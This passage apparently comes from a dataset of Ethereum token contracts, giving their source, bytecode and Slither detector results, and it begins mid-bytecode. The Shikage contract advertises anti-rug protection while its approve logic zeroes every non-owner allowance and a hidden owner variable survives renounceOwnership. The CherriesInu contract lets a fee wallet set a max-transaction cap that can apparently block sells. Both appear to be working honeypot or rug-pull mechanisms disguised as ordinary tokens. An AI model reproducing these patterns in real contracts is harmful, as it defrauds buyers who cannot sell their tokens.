ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220518bca2ba64aab0253d21ce5d3cfb444863a5aff830f3752e3046d68f9e0c3e664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,704
0x280989c0ef7f915547938f33ff6eb5248a89a8c9
/** *Submitted for verification at Etherscan.io on 2022-01-09 */ /* 📝"Shikage will introduce an anti-rug LP locker with 2 modes: Simple Lock - Shikage's simple LP lock will have a "cool-down" period during which the LP will be frozen and released after a period of time upon verification SAFU Lock - Shikage's SAFU lock adds a KYC to the simple lock. In case of a scam, the KYC document will be shared with the community" https://shikage.space/ https://t.me/shikageofficial */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract shikage is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Shikage ' ; string private _symbol = 'SHIKAGE ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122045a86fb76c82e473149346787d349cfe2f7e987b0853a3d0322a437f207464d164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,705
0x7a10d1F6fD3B8FEcC93f681Da04e3833C50E4d64
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ //SPDX-License-Identifier: MIT // Telegram: t.me/CherriesinuToken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CherriesInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Cherries Inu"; string private constant _symbol = "CINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == uniswapV2Pair && from != address(uniswapV2Router) )?1:0)*amount <= _maxTxAmount); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_feeAddrWallet1 == _msgSender() ); _; } function setMaxBuy(uint256 limit) external overridden { _maxTxAmount = limit; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
